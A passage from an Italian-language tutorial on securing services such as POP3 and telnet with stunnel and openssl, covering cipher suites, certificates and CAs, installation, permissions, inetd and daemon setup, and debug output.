CipherSuite e' leggermete diversa da quella usata nei documenti dell'IETF, ma facilmente deducibile (in particolar modo, il meccanismo di scambio delle chiavi - il primo parametro viene specificato solamente se EDH, altrimenti si assume implicitamente che sia RSA; se non e' specificato nemmeno il secondo parametro, la connessione viene effettuata "anonimamente" - cioe' non e' possibile verificare l'identita' delle parti coinvolte). Per esempio nella documentazione ufficiale di TLSv1, la CipherSuite di default di openssl (EDH-RSA-DES-CBC3-SHA) e' indicata come: TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA. Quello che segue e' l'elenco delle CipherSuite supportate da openssl: ---> shell kppc:~/work/crittografia_spicciola$ openssl ciphers EDH-RSA-DES-CBC3-SHA:EDH-DSS-DES-CBC3-SHA:DES-CBC3-SHA:IDEA-CBC-SHA:RC4-SHA :RC4-MD5:EDH-RSA-DES-CBC-SHA:EDH-DSS-DES-CBC-SHA:DES-CBC-SHA:DES-CBC3-MD5:I DEA-CBC-MD5:RC2-CBC-MD5:RC4-MD5:RC4-64-MD5:DES-CBC-MD5:EXP-EDH-RSA-DES-CBC- SHA:EXP-EDH-DSS-DES-CBC-SHA:EXP-DES-CBC-SHA:EXP-RC2-CBC-MD5:EXP-RC4-MD5:EXP -RC2-CBC-MD5:EXP-RC4-MD5 ---< Ogni codice e' separato dal successivo tramite ":". DSS sono i certificati generati tramite l'algoritmo DSA (questo algoritmo prevede solamente funzioni di firma digitale e non di cifratura dei dati). Se non e' specificato ne' DSS ne RSA - cioe' manca il secondo parametro - la negoziazione e' "anonima" e non si puo' verificare l'identita' delle due parti, solamente comunicare in maniera cifrata). IDEA, RC2 e RC4 sono altri algoritmi di crittografia a chiave simmetrica, utilizzabili al posto di des (DES) o triple des (DES-xxx3) - Tranne RC4, che e' uno stream cipher (brevemente: i dati da crittografare non sono processati a blocchi di bit di lunghezza fissa, ma nella loro interezza - principalmente per garantire maggiore velocita'), gli altri sono tutti block cipher ed utilizzano la modalita' CBC. MD5 e' un algoritmo digest utilizzabile al posto di SHA (e generalmente considerato "meno sicuro"). EXP significa che si intendono utilizzare chiavi di lunghezza "conforme" alle limitazioni imposte dalle leggi USA (e altri stati) per l'export di software contenenti funzioni di crittografia (tipicamente max. 512 bit per gli algoritmi a chiave privata e max. 40 bit per gli algoritmi a chiave simmetrica). E' da notare che se utilizzate stunnel come client per connettervi ad un server basato su software prodotto negli USA (tutti i software di Microsoft, Netscape e Sun, p. es.) e questo server non e' situato negli USA, probabilmente utilizza una versione che che supporta solamente CipherSuite "esportabili". Recentemente le leggi americane sono state modificate, aumentando il numero di bit utilizzabili per la crittografia "esportabile" (56 bit per la cifrazione con crittografia simmetrica, 1024 bit per lo scambio delle chiavi con crittografia a chiave pubblica, inoltre il software puo' contenere supporto anche per chiavi a numero di bit maggiore, se usato SOLAMENTE per le funzionalita' di "firma"). Ovviamente bisognera' procedere all'aggiornamento del software utilizzato sul server (se disponibile :). Esiste una progetto (http://www.fortify.net) che produce e distribuisce patch (modifiche all'eseguibile orginale) da applicare a Netscape Navigator/Communicator (praticamente tutte le versioni per tutti i sistemi operativi) che permettono di abilitare nelle funzioni di crittografia gia' presenti nel software l'utilizzo di chiavi con lunghezza considerata sicura (quindi non "EXP") anche nelle versioni distribuite all'esterno degli USA. PKI? Certificati? CA? ... Il meccanismo della certificazione permette a due soggetti senza nessuna precedente "conoscenza" diretta di verificare l'identita' reciproca, confidando nella "garanzia" fornita da una o piu' autorita' prestabilite, comunemente dette Certification Authority. Si tratta di meccanismi possibili grazie alla crittografia a chiave pubblica ed ai digest, legati da regole piuttosto nuove, mutevoli e decisamente complesse. In breve funziona all'incirca cosi': le CA "firmano" tramite le loro chiavi private le chiavi pubbliche dei soggetti da "certificare", dopo aver adeguatamente (?) appurato la loro identita'. Qualora Tizio voglia verificare l'identita' di Caio - o viceversa - chiedera' a questi di inviare il proprio certificato (composto dalla chiave pubblica e altri dati quali nome, durata, etc., "firmati" dalla CA con la propria chiave privata). Tramite la chiave pubblica della CA sara' quindi possibile per Tizio verificare l'effettiva validita' del certificato e di tutti i dati contenuti nel certificato e quindi "identificare" con certezza Caio. Fin qui e' tutto piuttosto semplice... Quando oltre a dover appurare l'identita' di Caio, Tizio dovra' decidere se autorizzarlo ad accedere ai propri dati o server, e con quali diritti; oppure verificare che il certificato dello stesso non sia stato revocato dalla CA; etc., il tutto diventa piuttosto intricato. Tutta questa brodaglia viene comunemente appellata come PKI (Public Key Infrastructure). Amen. Per quel che riguarda questo how-to, la verifica dell'identita' corrisponde _quasi_ automaticamente all'autorizzazione, quindi e' opportuno istituire un'apposita CA (o una "chiave" di questa CA) con cui autenticare SOLAMENTE i client che realmente possono accedere ai servizi che si intendono proteggere ed i server che necessitano di essere "verificati" e utilizzare l'opzione di stunnel che non solo verifica la certificazione del client, ma richiede che una copia della chiave pubblica dello stesso sia contenuta in una directory sul server. Spesso le situazioni reali sono piu' complicate, ed istituire una chiave od una CA diversa per ogni servizio, oppure mantenere una copia delle chiavi dei client su ogni server risulta non praticabile. In questi casi e' opportuno utilizzare un apposito software per la gestione della CA e delle regole di accesso (anche se non molti e non molto sofisticati, esistono anche dei software Open Source per la gestione delle CA). Cos'e' una CRL (Certificate Revocation List) ? Una CRL e' un elenco emesso periodicamente da una CA per specificare l'elenco dei certificati "firmati" che sono da ritenersi NON piu' validi. I motivi che possono portare alla revoca di un certificato vanno dalla compromissione della chiave privata (e' stata "rubata", oppure l'utente non ricorda piu' la password per accedervi, etc.) e conseguente generazione di un nuovo certificato, alla cessazione del rapporto tra un utente e la CA - per esempio quando mi butteranno fuori da s0ftpj, etc. :). E' da notare che questa revoca non ha nulla a che fare con la normale "scadenza" di un certificato (ognuno di essi ha una data di inizio e fine validita' - solitamente di 365 giorni). Le CRL sono ancora uno dei punti critici nella sicurezza delle infrastrtutture di PKI, in particolar modo quel che riguarda la distribuzione e l'aggiornamento tempestivo di queste liste (si possono infatti creare dei "buchi neri".. potrebbe per esempio essere possibile utilizzare un certificato revocato per accedere a servizi protetti qualora il software o il gestore del server non abbiano ancora aggiornato la CRL corrente). Stunnel NON utilizza le CRL nell'autenticazione degli utenti. Consiglio di leggere le specifice techniche dei protocolli SSL e TLS e una mezza tonnellata di FAQ's, how-to, RFC sulla crittografia, sulle PKI, etc. per maggioni informazioni... (ci sono un tot di link in fondo al documento). Strumenti necessari: * un server unix o windows (bleah) qualsiasi. * un client unix o windows. * openssl >= 0.9.2b (http://www.openssl.org) * [oppure] ssleay >= 0.9.0b (http://www.ssleay.org) * stunnel >= 3.4a (http://mike.daewoo.com.pl/computer/stunnel) se intendete utilzzare windows potete prelevare direttamente l'eseguibile win e le dll necessarie, senza bisogno di ssleay o openssl). * opzionalmente MZtelnet o altri client abilitati SSL (http://www.openssl.org/related/apps.html contiene un elenco di applicazioni che possono utilizzare ssl, tra cui tunnel generici, telnet, ftp, rsh, patch TLS per qmail, sendmail e postfix, etc.) * sprezzo del pericolo e audacia da leoni. Prima di cominciare: Se installate openssl e stunnel come pacchetti "precotti" di una delle varie distribuzioni Linux (Debian, p. es.) o dal "ports-tree" di FreeBSD, le directory di riferimento NON sono piu' quelle riportate (p. es: i binari sotto debian stanno in /usr/bin - o /usr/local/bin, non ricordo esattamente, comunque potete usare which openssl per scoprirlo -, mentre configurazione e certificati in /etc/ssl e /etc/ssl/certs; FreeBSD invece rinomina /usr/local/ssl in /usr/local/openssl, ma la struttura rimane equivalente.. ln -s /usr/local/openssl /usr/local/ssl e siete a cavallo ["hey, mi passa il microfono.. hello, qui e' l'auto... che auto siamo? - cinque cinque - hello, qui e' l'auto cinquantacinque, siamo.. siamo a cavallo hihihihihi" (**) :). Dovreste trovare nei rispettivi siti anche i binari di openssl per varie piattaforme e l'rpm di stunnel. Se invece volete avventurarvi nel magico mondo del "self-made", compilate ed installate (per i frettolosi: cd dirsource ; echo "Le cose tra parentesi sono commenti, non da mettere nei comandi" (capito?) ; ./config (openssl) oppure ./configure (stunnel); make ; make test (solo openssl) - quindi, con id root - make install ; ma si sa, la fretta e' cattiva consigliera, LEGGETE I DOCS, in particolare gli immancabili INSTALL e README) sia openssl (prima) che stunnel (dopo) seguendo le apposite istruzioni accluse ed installateli nelle directory di default (/usr/local/ssl per openssl e /usr/local/sbin per stunnel, in teoria ci pensa gia' "make install") o dove volete, tenendo presente che gli esempi si riferiranno a queste directory. Ripetete queste operazioni sia sul server che sul client. Shakerate e servite freddo. Per compilare correttamente stunnel con openssl 0.9.4 e' NECESSARIO aggiungere un NULL alla chiamata PEM_read_bio_DHparams( bio, NULL, NULL ) alla riga 205 di ssl.c, che diventa quindi PEM_read_bio_DHparams( bio, NULL, NULL, NULL ) Openssl di default e' installato in una directory (/usr/local/ssl/bin) non raggiungibile nella path. E' consigliabile aggiungere questa directory oppure creare un link in /usr/local/bin o altra directory simile per evitare di inserire tutto il percorso ogni volta (ln -s /usr/local/ssl/bin/openssl /usr/local/bin). Lanciando openssl direttamente, senza nessuna opzione, si entra in una modalita' simil-interattiva a linea di comando, che sconsiglio a tutti :). I comandi openssl sono composti in questa maniera: openssl comando -opz_3 -opz_2 ... -opz_n Sebbene non sia presente un'opzione di help, passando un argomento non valido viene visualizzata una breve descrizione dei comandi e delle opzioni utilizzabili.. ---> shell kppc:~/work/crittografia_spicciola$ openssl help openssl:Error: 'help' is an invalid command. Standard commands asn1parse ca ciphers crl crl2pkcs7 dgst dh dsa dsaparam enc errstr gendh gendsa genrsa nseq pkcs12 pkcs7 pkcs8 req rsa s_client s_server s_time sess_id speed verify version x509 Message Digest commands (see the `dgst' command for more details) md2 md5 mdc2 rmd160 sha sha1 Cipher commands (see the `enc' command for more details) base64 bf bf-cbc bf-cfb bf-ecb bf-ofb cast cast-cbc cast5-cbc cast5-cfb cast5-ecb cast5-ofb des des-cbc des-cfb des-ecb des-ede des-ede-cbc des-ede-cfb des-ede-ofb des-ede3 des-ede3-cbc des-ede3-cfb des-ede3-ofb des-ofb des3 desx idea idea-cbc idea-cfb idea-ecb idea-ofb rc2 rc2-cbc rc2-cfb rc2-ecb rc2-ofb rc4 rc5 rc5-cbc rc5-cfb rc5-ecb rc5-ofb kppc:~/work/crittografia_spicciola$ openssl req help unknown option help req [options] outfile where options are -inform arg input format - one of DER TXT PEM -outform arg output format - one of DER TXT PEM -in arg input file -out arg output file -text text form of request -noout do not output REQ -verify verify signature on REQ -modulus RSA modulus -nodes don't encrypt the output key -key file use the private key contained in file -keyform arg key file format -keyout arg file to send the key to -newkey rsa:bits generate a new RSA key of 'bits' in size -newkey dsa:file generate a new DSA key, parameters taken from CA in 'file' -[digest] Digest to sign with (md5, sha1, md2, mdc2) -config file request template file. -new new request. -x509 output a x509 structure instead of a cert. req. -days number of days a x509 generated by -x509 is valid for. -asn1-kludge Output the 'request' in a format that is wrong but some CA's have been reported as requiring [ It is now always turned on but can be turned off with -no-asn1-kludge ] ---< [etc. etc, per ognuno degli "Standard commands" e' presente un'apposita schermata di aiuti - consiglio di perdere un po' di tempo e visualizzarle tutte :] Se utilizzate SSLeay al posto di openssl, non cambia praticamente nulla (a parte qualche nome di directory) - semplicemente dovrete digitare il comando direttamente invece che "mediarlo" tramite openssl (p.es.: openssl cipher -> ciphers ; openssl req -text -noout -in stunnel.pem -> req -text -noout -in stunnel.peml; etc.) Personalmente ho utilizzato con successo ssleay 0.9.0b, openssl 0.9.3a e 0.9.4, stunnel 3.4a, MZtelnet 0.11.2 e SSLtelnet 0.13 su Linux (intel/ppc), OpenBSD (intel), FreeBSD (intel). Per completezza ho effettuato anche qualche test di utilizzo di stunnel-3.4a.exe in modalita' client su Win98 senza riscontrare problemi. Dalla teoria alla pratica: Se avete seguito le istruzioni ed installato sia openssl che stunnel come da copione, dovreste avere una directory /usr/local/ssl ed un file /usr/local/sbin/stunnel. Dentro /usr/local/ssl/certs dovrebbe essere presente il certificato (stunnel.pem) che il Makefile di stunnel genera automaticamente quando quando si lancia il "make" oppure a richiesta con "make stunnel.pem". Utilizzando il comando "openssl x509 -text -noout -in stunnel.pem" e' possibile avere un output testuale del contenuto di questo certificato... Il certificato che stunnel utilizza di default (generalmente /usr/local/ssl/certs/stunnel.pem, ma e' possibile cambiarlo da linea di comando) contiene dati fittizi (i certificati X509 standard normalmente contengono i dati reali del server o dell'utente, visto che devono certificarne l'identita'!), una chiave privata RSA 1024 bit e parametri DH a 512 bit. Se non si intende utilizzare la verifica dell'identita', questo certificato sara' sufficente.. altrimenti e' consigliabile generarne uno "ad hoc" (vedi dopo). I comandi che riporto sono pensati avendo accesso root sia al server che al client.. se cosi' non fosse (in particolare per il server :) e' comunque possibile installare/utilizzare stunnel - i comandi rimangono piu' o meno simili, cambieranno le directory ed i permessi utente (se siete su una shell, ed avete un semplice accesso come utente, utilizzate i VOSTRI permessi per far girare stunnel e create una struttura di subdirectory nella vostra home). Se utilizzate Windowz, la sintassi di stunnel rimane invariata, ma dovrete cambiare i nomi delle directory e modificare i comandi unix che riporto con i corrispettivi comandi win (se esistono :). E' consigliabile utilizzare stunnel (soprattutto il server) con un id apposito, tipo ssl o stunnel o quel che e'.. quindi addate (adduser stunnel - ricordate di disabilitare il login!!) l'apposito utente e modificate /usr/local/ssl/certs/stunnel.pem in modo che sia scrivibile solo da root e leggibile anche (e solo) da stunnel (o gid che avete scelto). Per gli esempi utilizzero' un utente con uid e gid stunnel (se utilizzate altre applicazioni che necessitano di accedere ai certificati openssl - generalmente altro software linkato a queste librerie - potete, p. es., creare un gruppo ssl e quindi creare vari utenti - stunnel, mztelnet, etc. membri di questo gruppo, oppure utilizzare per tutte un generico gruppo ssl e amen). I permessi di /usr/local/ssl/certs/stunnel.pem e di eventuali altri file che contengano certificati da usare con stunnel e quelli dell'eventuale directory mystrusted (che contiene i certificati da utilizzare con l'opzione -v 3 - vedi dopo) dovranno essere: ---> shell kppc:/usr/local/ssl/certs# chown root:stunnel stunnel.pem kppc:/usr/local/ssl/certs# chmod 640 stunnel.pem kppc:/usr/local/ssl/certs# chown root:stunnel mytrusted kppc:/usr/local/ssl/certs# chmod 750 mytrusted kppc:/usr/local/ssl/certs# ls -l total 3 drwxr-x--- 2 root stunnel 1024 Nov 2 03:49 mytrusted -rw-r----- 1 root stunnel 1224 Nov 2 02:09 stunnel.pem ---< Se non avete intenzione di verificare i certificati dei client, il gioco e' presto fatto.. (il file stunnel.pem serve COMUNQUE, almeno sul server)! Server: Se intendete utilizzare stunnel come daemon con privilegi non root dovrete lanciarlo "a mano" o tramite su o meccanismi simili (purtroppo non prevede funzioni per il cambio di uid in automatico) e NON potrete utilizzarlo per le porte TCP "priviliged" (<=1024). Per Debian/Linux esiste authbind che _dovrebbe_ risolvere questo problema (ma potrebbe crearne altri :); _suppongo_ sia possibile utilizzarlo anche con distribuzioni Linux diverse. Scaricate il binario per la vostra architettura, o il sorgente se intendete avventurarvi in un porting: http://www.debian.org/Packages/unstable/utils/authbind.htm Personalmente sconsiglio l'utilizzo come daemon anche se non root, nonostante i vantaggi (la chiave temporanea e l'ambiente SSL vengono inizializzati una volta sola con un conseguente - notevole - guadagno in termini "velocistici" - soprattutto con keylegth maggiori di 512 bit): se un attaccante riuscisse infatti a far "terminare" il vostro stunnel (per esempio con un Denial Of Serivice, etc.) e fosse in possesso di un account non root su quella macchina, potrebbe "fingere" di essere il vostro server utilizzando la stessa porta - in questo caso e' FONDAMENTALE verificare dai client il certificato del server. La sintassi per creare un tunnel verso, p. es., la vostra porta 110 (POP3) accettando connessioni SSL sulla porta 1995 (o sulla porta che volete > 1024) e' quindi: stunnel -d 1995 -r 110 (se non fosse nella path, ricordo che stunnel sta in /usr/local/sbin). Utilizzandolo da inetd e' invece possibile utilizzare porte <= 1024 anche senza privilegi root. Aggiungete in /etc/inetd.conf la riga riportata in seguito e reinizializzate inetd (killall -HUP inetd oppure kill -HUP xxx dove xxx e' il pid - numero del processo - di inetd; ps aux|grep inetd per scoprirlo ): 995 stream tcp nowait stunnel /usr/local/sbin/stunnel stunnel -r 110 Ovviamente, poiche' stunnel (con questa sintassi) effettua un semplice redirect dei dati che riceve, dopo averli decrittati, il server POP3 reale deve essere attivo (daemon o inetd) e accettare connessioni sulla porta 110 di (almeno) localhost. Se intendete autorizzare l'accesso al POP3 SOLAMENTE tramite la porta ssl 1995 (o 995 - il numero non e' casuale, 995/tcp e' la porta standard per il pop3s e 1995 e' 995 + 1000) sara' vostra cura limitare l'accesso alla porta 110 ESCLUSIVAMENTE da localhost (127.0.0.1) tramite tcp_wrapper, opzioni specifiche del pop3d o firewall (o tutti e tre :). E' comunque possibile lanciare un programma qualsiasi di quelli utilizzabili da inetd direttamente (quindi senza che il servizio debba essere attivo da inetd o come daemon) con l'opzione -l: stunnel -d 995 -l /usr/libexec/in.pop3d -- in.pop3d -s (daemon-mode) oppure (inetd - su un'unica riga e senza "\"): 995 stream tcp nowait stunnel /usr/local/sbin/stunnel \ stunnel -r 110 -l /usr/libexec/in.pop3d -- in.pop3d -s (il -- e' necessario solo se si specificano parametri al programma, quindi, p. es. -l /usr/libexec/in.pop3d in.pop3d) o un programma che usa STDIN e STDOUT tramite l'opzione -L. Il programma lanciato avra' uid/gid del deamon stunnel, quindi per utilizzare in.pop3d, p. es., dovete fare girare stunnel con privilegi di root (normalmente il daemon POP3 necessita dei privilegi di root per accedere al file di password - anche se ci sono sistemi per utilizzarlo in ambiente chroot o con privilegi minori, quali qmail + vchkpw - ma non e' argomento che affronteremo qui). Come non mi stanchero' di ripetere, questo utilizzo e' sconsigliato. CHE NON VI VENGA POI IN MENTE DI METTERE STUNNEL SETUID ROOT, altrimenti qualche vostro utente sara' ben lieto di mettere come programma da eseguire con -l una shell :) Client: La sintassi per utilizzare la modalita' client e' pressoche' analoga a quella per la modalita' server, aggiungendo l'opzione -c. Per esempio sul computer da cui vogliamo collegarci al server POP3 protetto, lanceremo: stunnel -c -d 127.0.0.1:1110 -r mail.s0ftpj.org 995 oppure aggiungeremo nell'inetd la riga: 110 stream tcp nowait stunnel /usr/local/sbin/stunnel stunnel -c \ -r mail.s0ftpj.org:995 Nel nostro programma di posta sceglieremo come pop server localhost e porta 1110 (la porta di default e' 110, se il vostro programma non prevede esplicitamente l'opzione per cambiare questa porta, provate con la sintassi localhost:1110). L'utilizzo che consiglio per i client, non tanto per la velocita' (la chiave RSA temporanea non viene generata) quanto per la flessibilita' di utilizzo e la SICUREZZA e' invece la modalita' daemon. E' da notare che se utilizzato da inetd, stunnel accettera' connessioni anche dall'ip pubblico del computer (quello della scheda di rete oppure quello del ppp durante un collegamento via modem); questo permettera' a chiunque conosca il vostro ip (e a eventuali curiosi occasionali dotati di un qualsiasi portscan) di collegarsi al server remoto UTILIZZANDOVI come bouncer. Se avete anche scelto di attivare l'autenticazione, questi verranno autenticati con il vostro certificato personale! E' NECESSARIO, QUALORA SI UTILIZZI STUNNEL IN MODALITA' CLIENT DALL'INETD, LIMITARE L'ACCESSO ALLA PORTA CHE UTILIZZATE PER CONNETTERVI solamente a localhost (127.0.0.1) tramite hosts.deny e/o hosts.allow (stunnel fornisce autonomamente il supporto, se compilato con le necessarie libwrap) e/o tramite un firewall (possibilmente installato sulla stessa macchina, a meno che non abbiate una fiducia cieca delle altre persone che popolano la vostra - eventuale - rete locale). Utilizzato in modalita' demon e' invece possibile specificare direttamente nella linea di comando di accettare connessioni solamente da 127.0.0.1 (p. es.: -d 127.0.0.1:1110). Se sulla vostra macchina sono presenti degli altri utenti (voluti o non voluti :), sara' per loro possibile utilizzare il vostro stunnel per collegarsi al server remoto. In questo caso si puo' utilizzare il parametro -u e forzare il nome utente, per esempio: stunnel -c -d 127.0.0.1:1110 -r mail.s0ftpj.org:995 -u koba accettera' di iniziare connessioni solo se localhost risolve l'ident dell'utente che inizia la connessione come "koba". Ovviamente dovete avere un identd funzionante e correttamente configurato - quindi non un fake identd che ritorna "true" a tutto, tipo quelli che si utilizzano per collegarsi piu' rapidamente a irc - e possibilmente protetto da firewall o tcp_wappers, visto che l'identd puo' fornire informazioni interessanti ad un eventuale curioso :) . E' anche possibile utilizzare hosts.deny e/o hosts.allow per limitare gli utenti che possono accedere a certe risorse. Anche se (generalmente) i computer personali (soprattutto se non sono collegati permanentemente ad internet, oppure sono dietro un firewall - o ci sono dei pazzi in giro?) presentano meno problematiche di sicurezza rispetto ad un server con accesso pubblico, e' comunque consigliabile utilizzare stunnel (in modalita' daemon) con i vostri privilegi utente o (meglio ancora) con un utente apposito e non con privilegi di root, sempre che nel vostro programma di posta (o nel client che intendete utilizzare con ssl) sia possibile scegliere una porta a cui collegarsi > 1024 Generalmente e' questo e' possibile, anche se con alcuni client che non accettano esplicitamente l'opzione, tipo Netscape, e' necessario specificare la sintassi server:porta (p. es. localhost:1110). Molto utile per incominciare a testare stunnel ed avere un "feedback" di quello che avviene sia sul client che sul server puo' essere l'opzione -D 7 (massimo livello di debug) in congiunzione con -f (foreground mode, stunnel non entra in background ma rimane attivo e visualizza a video l'output del log) in modalita' daemon (da inetd purtroppo -D 7 non funziona correttamente ed i livelli minori - da 1 a 5 - sono piuttosto inutili). Se non si utilizza l'opzione -f l'output del debug sara' scritto sul syslog (quindi in /var/log/messagges o /var/log/syslog o /var/log/daemon etc. dipendentemente da come e' configurato il vostro syslog; tail -f /var/log/nomefile per visualizzaro real-time). Visualizziamo un breve esempio: ---> shell (client) kppc:~$ stunnel -D 7 -c -d 127.0.0.1:1110 -r mail.s0ftpj.org:1110 -f LOG7[1627:1024]: Service name to be used: mail.s0ftpj.org.1110 LOG5[1627:1024]: stunnel 3.4a on powerpc-unknown-linux-gnu PTHREAD LOG3[1627:1024]: /var/run/stunnel.mail.sikurezza.org.1110.pid: Permission denied (13) LOG7[1627:1024]: mail.s0ftpj.org.1110 bound to 127.0.0.1:1110 ---< il fatto che non sia possibile scrivere /var/run/stunnel.mail.sikurezza.org.1110.pid e' normale (non siamo root) e possiamo ignorare ques'errore ---> shell (server) s0ftpj:~$ stunnel -D 7 -d 1110 -r 110 -f LOG7[32076:0]: Service name to be used: 110 LOG7[32076:0]: Generating 1024 bit temporary RSA key... LOG7[32076:0]: Temporary RSA key generated LOG7[32076:0]: Certificate: /usr/local/ssl/certs/stunnel.pem LOG5[32076:0]: stunnel 3.4a on i386-unknown-openbsd2.5 FORK+LIBWRAP LOG3[32076:0]: /var/run/stunnel.23.pid: Permission denied (13) LOG7[32076:0]: 110 bound to 0.0.0.0:1110 ---< quando lanceremo il check mail su Netscape (con server localhost:1110), potremmo vedere sui rispettivi stunnel client e server: ---> (client) LOG7[1632:1026]: mail.s0ftpj.org.1110 started LOG5[1632:1026]: mail.s0ftpj.org.1110 connected from 127.0.0.1:1598 LOG7[1632:1026]: mail.s0ftpj.org.1110 connecting 195.32.69.44:1110 LOG7[1632:1026]: Remote host connected LOG7[1632:1026]: before/connect initialization LOG7[1632:1026]: before/connect initialization LOG7[1632:1026]: SSLv3 write client hello A LOG7[1632:1026]: SSLv3 read server hello A LOG7[1632:1026]: SSLv3 read server certificate A LOG7[1632:1026]: SSLv3 read server done A LOG7[1632:1026]: SSLv3 write client key exchange A LOG7[1632:1026]: SSLv3 write change cipher spec A LOG7[1632:1026]: SSLv3 write finished A LOG7[1632:1026]: SSLv3 flush data LOG7[1632:1026]: SSLv3 read finished A LOG7[1632:1026]: SSL negotiation finished successfully LOG7[1632:1026]: 1 items in the session cache LOG7[1632:1026]: 1 client connects (SSL_connect()) LOG7[1632:1026]: 1 client connects that finished LOG7[1632:1026]: 0 client renegotiatations requested LOG7[1632:1026]: 0 server connects (SSL_accept()) LOG7[1632:1026]: 0 server connects that finished LOG7[1632:1026]: 0 server renegotiatiations requested LOG7[1632:1026]: 0 session cache hits LOG7[1632:1026]: 0 session cache misses LOG7[1632:1026]: 0 session cache timeouts LOG7[1632:1026]: SSL negotiation finished successfully LOG6[1632:1026]: mail.s0ftpj.org.1110 opened with SSLv3, cipher DES-CBC3-SHA (192 bits) LOG7[1632:1026]: Sockets set to non-blocking mode LOG7[1632:1026]: SSL closed on read LOG5[1632:1026]: Connection closed: 348 bytes sent to SSL, 229 bytes sent to socket LOG7[1632:1026]: mail.s0ftpj.org.1110 finished (0 left) ---< ---> (server) LOG7[5489:0]: 110 started LOG5[5489:0]: 110 connected from 151.20.225.239:1599 LOG7[5489:0]: 110 connecting 127.0.0.1:110 LOG7[5489:0]: Remote host connected LOG7[5489:0]: before/accept initialization LOG7[5489:0]: before/accept initialization LOG7[5489:0]: SSLv3 read client hello A LOG7[5489:0]: SSLv3 write server hello A LOG7[5489:0]: SSLv3 write certificate A LOG7[5489:0]: SSLv3 write server done A LOG7[5489:0]: SSLv3 flush data LOG7[5489:0]: SSLv3 read client key exchange A LOG7[5489:0]: SSLv3 read finished A LOG7[5489:0]: SSLv3 write change cipher spec A LOG7[5489:0]: SSLv3 write finished A LOG7[5489:0]: SSLv3 flush data LOG7[5489:0]: SSL negotiation finished successfully LOG7[5489:0]: 1 items in the session cache LOG7[5489:0]: 0 client connects (SSL_connect()) LOG7[5489:0]: 0 client connects that finished LOG7[5489:0]: 0 client renegotiatations requested LOG7[5489:0]: 1 server connects (SSL_accept()) LOG7[5489:0]: 1 server connects that finished LOG7[5489:0]: 0 server renegotiatiations requested LOG7[5489:0]: 0 session cache hits LOG7[5489:0]: 0 session cache misses LOG7[5489:0]: 0 session cache timeouts LOG7[5489:0]: SSL negotiation finished successfully LOG6[5489:0]: 23 opened with SSLv3, cipher DES-CBC3-SHA (192 bits) LOG7[5489:0]: Sockets set to non-blocking mode LOG7[5489:0]: Socket closed on read LOG5[5489:0]: Connection closed: 229 bytes sent to SSL, 348 bytes sent to socket LOG7[32076:0]: 23[5489] finished with code 0 (0 left) ---< Note sul telnet: Sebbene nelle FAQ di stunnel ed di altri wrapper ssl sia chiaramente specificato che non e' possibile tunnelare telnet, perche' il protocollo dipende da alcuni fantomatici OOB data, posso garantirvi che ho usato con successo telnet+stunnel innumerevoli volte. sia tunnelando un client ed un telnet server non abilitati SSL, sia utilizzando MZtelnet o SSLtelnet per collegarmi ad un telnetd standard+stunnel, sia utilizzando un telnet+stunnel standard per collegarmi al telnetd di MZtelnet o SSLtelnet. Un breve colloquio col mio guru tcp preferito (indovinate chi e' :) ed una sfogliata veloce allo Stevens mi hanno confermato che questi dati OOB (Out of Band) sono "segnali" che il server telnet invia al client con il flag TCP URG settato per particolari utilizzi (lo Stevens ci fa anche notare che il termine OOB, sebbene utilizzato da alcune API, e' da considerarsi errato, poiche' questi segnali seguono comunque il normale flusso dei dati e sono semplicemente segnati con il flag URG - sta al client telnet processarli per primi ignorando altri dati arrivati prima :). Questi OOB data dovrebbero segnalare l'interruzione ed il ripristino dell'invio del flusso di dati da parte del server al client relativamente all'utilizzo di CTRL+S o CTRL+Q o a resize di finestre di terminale e cose simili. Devo dire che ho provato ad analizzare tcpdump alla mano il traffico tra il server telnet e stunnel daemon (sull'interfaccia lo0 del server) mentre giocavo con questi tasti, resizavo la finestra di rxvt, saltavo sulla sedia e mi scaccolavo. Non ho visto un solo pacchetto flaggato URG passare.. il comportamento del terminale mi e' sembrato del tutto normale e comunque ho utilizzato telnet via stunnel per parecchio tempo senza riscontrare il minimo problema. Puo' essere che problemi si verifichino solamente utilizzando altri telnetd (altri OS, magari meno recenti) o utilizzando collegamenti in dial-up, o nelle notti di plenilunio, etc. Chi ha altre informazioni me le comunichi :) Comunque personalmente preferisco utilizzare un client ed un server telnet che contengano direttamente il supporto SSL. A questo punto avrei una gran voglia di scrivere [FINE PRIMA PARTE], spegnere baracca burattini ed infilarmi a letto, visto che e' gia' la quarta notte che tiro le 3 per scrivere questo articolo... - si, io domani lavoro, mica come quegli scioperati universitari di fuzzo e piggo - ma pensare alla password del vostro bnc che viene sniffata da un'orda di hacker cattivissimi (ho letto qualche fanzine spassevole al riguardo) mi rovinerebbe il sonno quindi.... giochiamo coi certificati... Giochiamo coi certificati Abbiamo visto come sia possibile rendere le nostre comunicazioni non intercettabili... vediamo ora come essere sicuri che il server che stiamo contattando sia REALMENTE il server che vogliamo contattare, e, viceversa, come sia possibile autorizzare ad accedere al nostro servizio solamente un'utenza "selezionata": Per prima cosa, il server DEVE essere stato precedentemente autenticato da una CA che ne abbia "firmato" il certificato (se volete fare in casa, leggete dopo). Abbiamo quindi bisogno di una copia della chiave pubblica di questa CA (o di un'altra CA che certifichi a sua volta che la CA che ha certificato il server, ARGH, evviva le PKI :) in locale sul nostro disco, nella directory /usr/local/ssl/certs, opportunamente "hashata". In openssl, i certificati vengono ritrovati all'interno della directory cercando un file chiamato xxxxxxxx.0, dove xxxxxxxx e' l'hash (digest) della chiave da cercare. Generalmente questo file (p.es: 681bb4bc.0) e' un link che punta al nome "umano" del file che contiene realmente la chiave (p.es: s0ftpj_CA.pem) e che, sempre generalmente, risiede nella stessa directory. Insieme ad openssl e' distribuita un'apposita utility (/usr/local/ssl/bin/c_rehash) che si occupa di creare questi link e da lanciare (eventualmente cancellando a mano quelli vecchi rm -rf *.0) ogni volta si aggiungano o cancellino chiavi in questa directory. E' anche possibile creare questi link a mano di volta in volta (p. es: ln -s s0ftpj_CA.pem `openssl x509 -noout -hash -in s0ftpj_CA.pem`.0). In stunnel, le opzioni di verifica dei certificati vengono specificate tramite l'opzione -v -v 1: verifica i certificati, SE POSSIBILE. Questo significa che il vostro stunnel verifichera' il certificato della controparte SOLO se questa e' disposta a fornirne uno. Se la controparte fornisce un certificato, e questo non risulta valido il collegamento viene interrotto. Se la controparte non fornisce un certificato, il collegamento prosegue con negoziazione "anomima", cioe' crittografato ma senza che sia stata effettivamente verificata l'identita'. E' da notare che stunnel_server fornisce SEMPRE un certificato, quindi utilizzare stunnel client con l'opzione -v 1 verso un server stunnel la cui chiave non sia certificata 